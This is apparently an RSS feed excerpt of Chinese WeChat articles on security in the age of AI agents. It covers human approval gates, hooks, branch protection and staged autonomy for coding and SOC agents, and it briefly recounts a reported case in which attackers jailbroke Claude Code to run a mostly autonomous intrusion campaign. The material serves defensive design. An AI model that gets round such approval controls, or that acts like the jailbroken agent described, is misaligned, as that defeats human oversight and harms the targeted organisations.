16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">生产体系什么时候换代、先换哪条业务线，是研发的决策，安全定不了。安全能定的是三件事：换代前储备什么，换代时建设什么，全程怎么放权。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">换代前能做的，是储备。上下文的图谱、结构化的安全知识、用历史漏洞和红队案例建的评估集，这三样不挑体系形态，储备得越早，换代时手里的资产就越多。存量工具顺手 API 化，过渡期还要靠它们当数据源和执行器。每样东西动手前先想一想：两年后用它的主要是 Agent 不是人，它有 API 吗，证据结构化吗，机器身份接得进来吗。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">换代时，从第一天起就和研发一起搭新体系、推动架构演进，参考 Anthropic 的最佳实践，把安全能力逐个阶段建设进去。</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Plan 阶段，安全需求跟业务需求一起写进 intent.md：这个功能碰什么数据、给什么身份用、最坏能出什么事，从源头就是需求的一部分。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Design 阶段，红线写进 spec.md，威胁建模的结论落成结构化约束，业务 skill 参与生成方案，让 Agent 在设计时就知道什么不能做。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Build 阶段，hooks 拦截危险操作，密钥、危险依赖、越权的工具调用当场挡下。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Test 阶段，评估集跟着测试一起跑，历史漏洞和红线用例每次回归。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Deploy 阶段，门禁要求具名审批，分支保护禁止 Agent 自批自合，高风险变更留人签字。</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">Maintain 阶段，生产事故、安全事件的分析写回 intent.md，触发下一轮循环，复盘变成资产。</span></p></li></ol><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">建设完这一圈，六个阶段每一处都有安全的版本化产物，这就是产品研发安全&#34;内生&#34;两个字的具象化表达。这一步要是错过，等体系建完再补安全，就回到二十年前 SDL 要解决的老问题。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.43703703703703706" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100001461" src="https://wechat2rss.xlab.app/img-proxy/?k=7e6cf1fd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F4yRoMuNP851ALRicC1jt03ibn4Dry0GKicDZqOW5e4rKpUzZYkADn0mm4XpCibau0mV0vUia6tibsRBfQy2eLP8ibw76Q2y9Jp1IwA7EysFREH94A8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf="">放权要一步一步来，先走观察模式，让评审 Agent 先当评论员，再当门禁：先只评论、不设卡点，跟工程师的结论对照，误报率、漏报率过关了再升级成阻断；低风险自动闭环，高风险永远留给人审批。</span></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">试点从小处切：挑一条正在引入 Coding Agent 的业务线，把它最常见的一类业务漏洞做成 skill 和评估集，把链路跑通，拿数据说话，打造成功案例和榜样效应，再复制到第二条业务线。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">还有一个问题：怎么让自己的信息和方向一直跟在行业前沿？——关注大模型厂商在安全建设上的动态。厂商是这场变革的发起方，他们内部今天的实践，多半就是市场两三年后的默认配置。Claude Code 的安全评审和权限管控怎么演进，Codex Security 往哪个方向走，厂商发布的内部实践分享、自家安全团队怎么用 Agent 审自家代码，这些都值得当情报读。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">8、总结</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">回到标题：为什么说是最后一代？因为这个岗位不会有下一代了。应用安全不会升级成一个新产品，也不会长成一个更强的团队：通用能力内置进 harness，确定性检查沉进流水线，业务判断变成产品研发链上的资产，剩下的职能是治理。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">甚至再往后，&#34;应用安全工程师&#34;作为一个独立工种的前提都没了：vibe coding 会变成招聘的基本要求，就像今天没人会在简历上写&#34;会用 Office&#34;，人人都在构建，整个安全组织的岗位边界都会跟着模糊。纯粹的安全工程（安全开发）岗会直接消失：以前团队里要养一拨人专门写安全平台和工具，以后人人都能用 Agent 构建，&#34;会开发&#34;不再是一个岗位，而是所有安全岗位的基本能力。安全职能最后可能收敛成三类人。一类偏架构和工程，设计和构建安全 Agent，管身份、权限、验证和制衡，而且会横跨应用安全、安全运营、数据安全这些今天分开的职能，共用同一套工程能力。一类偏业务理解和风险治理，是安全 BP 的升级版，可以叫业务安全官（Business Information Security Officer，BISO）：精通业务，能把技术风险翻译成业务老板听得懂的话，反过来把业务规则翻译成 Agent 能执行的决策依据；今天 GRC（治理、风险与合规）做的事，多半也会并进这个角色。这个岗位可能长在安全团队，也可能长在业务团队。剩下的是 AI 红队，偏研究属性，一手对抗 AI、一手保护 AI：持续攻击自家的 Agent 体系找弱点，也研究注入、投毒这些新攻击面怎么防，替整个体系验证纵深防御的有效性。对应到今天的岗位：做技术的，往安全 Agent 工程和 AI 红队走；做安全管理和治理的，往业务安全官走。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4861111111111111" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100001463" src="https://wechat2rss.xlab.app/img-proxy/?k=2dc0ce89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F4yRoMuNP853pVUf1k7IFwjzOR7NVmXkXNNG77Q2AojFuic3FrGPmUUjT3fIjGv3buwEAAD7FT1m0j25UKH8cLDcMiaeMgmPYVmYBacCbFAbL0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">视野再放宽一点。当检测响应侧也完成 Agent 化，从发现攻击到定位根因、修复、验证、上线复查，会接成一条不经过工单的闭环，每次事件沉淀成检测规则、测试、skill 和策略。安全从一串离散的检查，变成一个连续运转的系统。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">对团队来说，以后的焦点就四个：上下文的完整度，决定 Agent 判断质量的上限；红线的覆盖度，高风险域有没有把&#34;什么绝不能发生&#34;说清楚；评估的可信度，Agent 的能力有没有数据背书；Agent 运行时的安全，身份、凭据、工具、供应链这层新攻击面有没有布防。预算和人力，就往这四个方向倾斜。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">对个人来说，岗位的旧形态是在消失，坑位也确实会变少，这一点不必讳言：治理岗和能力工程岗要的人，比今天的执行岗少得多。但新岗位吃的正是老经验。审过几千个漏洞、在业务里踩过坑的人，才写得出 skill、划得准红线。经验留在脑子里，会跟着岗位一起贬值；蒸馏出来，就是下一个岗位的竞争力。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">转型也不用等新体系到来，旧体系里就有得干：把审计、评审、渗透这些自己天天做的事，构建成依附在现有开发流程里的安全 Agent，自己从执行者变成它们的构建者和监督者。只守着纯手工执行的，代码审计、照单评审、按次渗透，岗位会最先消失，好在按前面的时间线，多数企业里这是个以年计的窗口，来得及转；在旧体系里就动手构建 Agent 的，积累下的 skill 和评估集直接带进新体系，最先拿到新体系的入场券。今天在旧体系里构建安全 Agent，和明天在新体系里治理 Agent，是同一条路的前后两段。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">具体的动作也是三步，每一步都对着前面的判断。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">第一步，把 harness 用成日常工具，但别停在会用：把它的身份、权限、工具调用这套运行机制摸透——生产主体换成 Agent 之后，这就是新一代的应用架构，看不懂它，谈不上给它做安全设计。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">第二步，动手蒸馏：下次修完一个业务漏洞别急着关单，顺手提炼成 skill、配一条评估用例，这一步今天在旧体系里就能做。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">第三步，往架构设计上走：挑自己业务里一个正在落地的 Agent 场景，完整做一次安全架构，身份怎么发、权限怎么划、生成和验证怎么分离、放权的开关设在哪。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这三步通向的正是这个岗位往后最有竞争力的两个位置：能把业务安全判断做成 Agent 能力的人，能给 Agent 体系设计安全架构和制衡机制的人。应用安全团队最终要回答的不再是&#34;这段代码安全吗&#34;，而是&#34;我们敢不敢让一群 Agent，在设计好的权限、红线、验证机制和责任边界内，自主高效地生产软件&#34;。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">软件生产的主体从人换成 Agent，安全从围绕人的流程，重构为围绕 Agent 的控制系统；通用能力归大模型厂商，业务判断和治理权归企业，执行归 Agent，责任归人。</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">以上是我对 AI 时代应用安全建设的一些思考，欢迎关注我的公众号，加入我们的微信群一起交流，需要进群请添加我微信：neteyes</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;line-height: 26px;color: black;text-align: center;"><span leaf=""><img data-aistatus="1" alt="图片" class="rich_pages wxw-img" data-ratio="1.549520766773163" data-w="939" style="width:153px;height:237px;" src="https://wechat2rss.xlab.app/img-proxy/?k=06a4f1bf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F4yRoMuNP850PWQ3VvZiaed34pGJJ1GHYBhDjhpriaaSFoyItiaHJ0UO88iaq58wz5wHvblHM1TZtpf66bMZhCF5RCNmO1oVSBW1wxw4vlmjwWyU%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg%26watermark%3D1%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D2"/></span></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=66399c05&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI5MDQ2NjExOQ%3D%3D%26mid%3D2247500646%26idx%3D1%26sn%3D305dc392de2bc0d64c5c84fa6f4a32fe">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 28 Aug 2026 11:02:00 +0800</pubDate>
    </item>
    <item>
      <title>下一代 AI SOC 长什么样：SOC 版的 Codex</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;mid=2247500644&amp;idx=1&amp;sn=13898d6e62619ba718d5b43a56468cc9</link>
      <description>AI 会淘汰不会构建 AI Agent 的人，因为行业已经进入标准化作业的阶段。</description>
      <content:encoded><![CDATA[<p><span>Max Luo</span> <span>2026-08-25 11:31</span> <span style="display: inline-block;">山西</span></p>




  <p>以下文章来源于：白帽子罗棋琛</p>
  <strong>白帽子罗棋琛</strong>
  <p>网络安全专家，《白帽访谈录》策划人，专注链接网络安全从业者，聚焦网络安全前沿洞察与技术分享。</p>



  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4fc47589&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F4yRoMuNP851Ho1HA9n6dZwwu9wXMWSa0p0ZGvsq6uiaybibecdHeAfbeBOJ4vMVq4u5EUJib3xASKkyziaFBN2icXYBaNgAB4deyicndpuibe2Jryg%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>AI 会淘汰不会构建 AI Agent 的人，因为行业已经进入标准化作业的阶段。</p>
  <div data-tool="markdown2wechat编辑器" data-website="https://aizhuanqian.com" style="" data-pm-slice="0 0 []"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 24px;"><span leaf="">下一代 AI SOC 长什么样：SOC 版的 Codex</span></h1><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><strong style="font-weight: bold;color: black;"><span leaf=""><span textstyle="" style="font-size: 15px;">作者简介</span></span></strong><span leaf=""><span textstyle="" style="font-size: 15px;">：Max Luo（罗棋琛），加密货币交易所 AI 安全与自动化负责人，13 年安全从业经验，深耕 Web3 安全 / 安全运营与反入侵 / 内部威胁与防泄漏 / 应用安全。历任 SHEIN AI 安全中台、应用安全、安全 BP、红队等多个全球职能负责人，主导各体系从 0 到 1 建设，支撑全球化业务。开源书籍《AISecOps：AI 驱动的安全体系》作者，持有 OSCE3 等认证。</span></span></p><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><span leaf=""><span textstyle="" style="font-size: 15px;">微信公众号：白帽子罗棋琛 ｜ GitHub：cybermaxluo ｜ LinkedIn：max-luo ｜ Email：186616@gmail.com</span></span></p></blockquote><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5194444444444445" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100001443" src="https://wechat2rss.xlab.app/img-proxy/?k=63fd6e64&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F4yRoMuNP853VLk8Yic6kR2NYeVvibTHVqapWwbXJE8wtqzCLvbLsWGVsF0LH97UCK0JBGIibtfYy4IOCM62LdjZlBCXn2uDWdg3l6gheC3X0AE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5203703703703704" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100001442" src="https://wechat2rss.xlab.app/img-proxy/?k=07450198&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F4yRoMuNP853YnjictKicX1BRpNbWJjRn8xPxuC5dsYDJJ5YOeLpZP6jLkcV58TFG2wgwCvj8Q2iabBruIElqg5icXoIobPwqsFnSP4fnC18bFVs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;line-height: 26px;color: black;text-align: center;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;id&#34;:&#34;nice&#34;,&#34;data-tool&#34;:&#34;markdown2wechat编辑器&#34;,&#34;data-website&#34;:&#34;https://aizhuanqian.com&#34;,&#34;style&#34;:&#34;font-size: 16px; color: black; padding: 0 10px; line-height: 1.6; word-spacing: 0px; letter-spacing: 0px; word-break: break-word; word-wrap: break-word; text-align: left; font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;data-tool&#34;:&#34;mdnice编辑器&#34;,&#34;style&#34;:&#34;font-size: 16px; padding-top: 8px; padding-bottom: 8px; margin: 0; line-height: 26px; color: black;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="font-size: 12px;font-style: italic;">基于 DeepSeek Harness 设计的下一代AI SOC的原型图</span></span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">最近我一直在思考一个问题：下一代 AI SOC 到底长什么样？</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">市面上的答案不少：有人在老平台上加聊天框，有人在做&#34;AI 分析师&#34;，也有人在做多 Agent 编排。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">而我基于实践和行业趋势判断得到的答案是 SOC 版的 Codex：一个对话驱动的安全工作台。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这几年我一直在一线做 AI for Security工程，工具形态从最早的 LangChain，到 Dify，再到 OpenClaw/Hermes，一路换到现在的 Codex/Claude Code/DSH，架构换了一轮又一轮。沉淀归纳得到了两条主线的判断逻辑：</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">一条是工作模式的演进：自己干 → 构建 Agent 干 → 监督 Agent 干 → Agent 替人干。</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">一条是战略路线的演进：基础大模型公司的高速迭代是最大的红利，背靠 LLM 大厂的 harness，深度参与其生态。</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">先统一一个叫法。DSH（DeepSeek Harness）、Codex、Claude Code 这类产品，行业里统称 Agent Harness（驾驭层，构建这层的工作业内称 Harness Engineering，驾驭工程）：模型厂把大模型包装成&#34;能干活的 Agent&#34;的那层运行时加客户端，会话管理、工具调用、MCP 接入、Skill 机制、权限审批都在这层。其中 Codex、Claude Code 从 AI 编码工具起家，靠 MCP、Skill、子代理这些机制泛化成了通用 Agent 运行时。大模型是大脑，harness 是身体加操作台。下文说的 harness 指的都是这类。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">1、主线一：工作模式的演进</span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">1.1 自己干</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">上一代 SOC 是&#34;自己干&#34;的模式：告警比人多，所以要排队；人的水平有差异，所以要分级分派：T1 初判、T2 调查、T3 狩猎；怕漏单，所以要 SLA、要流转、要升级。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">把这些放在一起看：工单系统的本质是一套人力调度系统，管理的是人的注意力和产能。SIEM 的告警队列、SOAR 的剧本、ITSM 的流转，全部建立在同一个假设上：活是人干的，而人不够用。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">整个上一代安全运营体系，都是围绕&#34;人力稀缺&#34;这个约束设计的。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">现在，这套体系的对手变了：攻防已经演进成 AI 对抗 AI。攻击方先用上了 AI：侦察自动化，钓鱼由模型批量生成，利用链由 Agent 编排，攻击的速度和规模是机器级的。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">2025 年 11 月，Anthropic 披露了首例由 AI 主导的网络间谍行动：攻击者越狱 Claude Code，对全球约 30 家机构发起入侵，八到九成的攻击动作由 AI 自主执行，攻击者只在几个关键节点拍板。漏洞挖掘这一侧走得更深，2026 年 Anthropic 的 Mythos 模型已经能在主流操作系统和浏览器里自主挖出0day，给一个 CVE 编号和对应的代码提交，几小时内就能产出可用的利用代码。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">防守方还停在人力研判加工单流转，速度是人的量级。这个速度差之下，人力为主的工单模式已经不只是效率问题，是被攻击方降维打击的问题。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">1.2 构建 Agent 干</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">现在，Agent 已经能承担这些基础的安全运营工作。用 Codex + MCP + Skills，T1 研判、T2 调查、T3 狩猎和规则开发都能胜任，不用排队，也不受工作时间限制。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">于是安全工程师的工作重心发生第一次转移：从自己处理告警，变成构建 AI Agent、把它深度嵌入业务流程。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">把研判的判据写成 skill，把处置的边界写成策略，把数据源接成 MCP，把经验沉淀进知识库。这个阶段的本质是蒸馏：把 T1/T2/T3 的岗位能力蒸馏进 Agent，把人的经验、直觉和判断蒸馏成 skill、策略和知识库。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">以前这些能力长在人身上，跟着人走、随着人流失；蒸馏进系统之后，它可复制、可优化、可传承，运营能力沉淀在组织，而不是某个人身上。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">传统平台改一个流程要立项、排期、开发、测试、上线；改一个 skill 半天就能上线，临时需求、定制化需求当天可支持。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">1.3 监督 Agent 干</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">Agent 嵌入业务流程之后，重心发生第二次转移：人不再直接执行，转为监督 Agent 的执行。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">安全工程师的日常变成：追问证据、抽检结论、纠偏误判、持续优化 skill 和知识库，用 Agent 的工作质量数据反过来迭代 Agent。考核指标也随之变化：从处理了多少单，变成研判准确率、误关率、漏报率。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">组织结构也跟着变：三线并成一岗。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">以前 T1/T2/T3 是三条人力线：初判的、调查的、狩猎的，人按层设岗，案件逐层上升。现在这三个层级留给了 Agent：T1 定不了性升 T2，T2 定不了性升 T3，指的是 Agent 把案件查到多深，不再对应人的岗位。人这边只需要一个岗位：SOC 工程师，一个人同时监督三类 Agent 的执行情况。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">三线的编制、三班的排班、逐层上升的交接损耗，一起省掉，这是最直接的降本增效。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">1.4 Agent 替人干</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">最后一步，Agent 承担 SOC 的全部业务：响应、研判、调查、处置、检测规则开发优化、数据对接、定时任务、分析报告、知识沉淀，甚至是自我优化迭代。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">人只保留一件事：审批高风险、影响面大的处置动作，例如隔离主机、禁用账号、封禁 IP、删除文件。低风险按策略自动执行，高风险必须人来批：隔离错一台核心服务器、禁错一个高管账号，代价远大于自动化省下的那几分钟，这条审批线保留给人。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">四个阶段走完，安全工程师的角色定型：Agent 的构建者和监督者，这个角色定位不局限于SOC团队，也适用于其他安全岗位。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">2、对话取代工单</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">&#34;自己干&#34;的界面是工单队列，因为要排队、分派、流转；构建和监督 Agent 的自然界面是对话。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">下达任务是一句话，追问调查进展也是一句话；&#34;把这台机器 30 天内的同类告警拉出来对比&#34;，还是一句话。审批也不用切界面，在对话流里过目证据、点一下批准。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">工单不会彻底消失，但它降级成系统内部的账本：案件记录、证据链、审计轨迹，不再是人的工作界面。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">所以 AI SOC 的终态是：整个 SOC 团队甚至是整个安全团队的工作在一个 Codex 式的集中化工作台上，以对话驱动Agent，取代以工单驱动案件。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这背后还有一条设计原则：整个架构的第一用户是 Agent，不是人。数据、接口、能力，全部按方便 Agent 使用、调度、操作来设计，人不直接操作系统，人指挥 Agent 操作系统。想清楚这一点，交互层的取舍就简单了：不需要酷炫的人机交互设计，也不需要传统 SOC 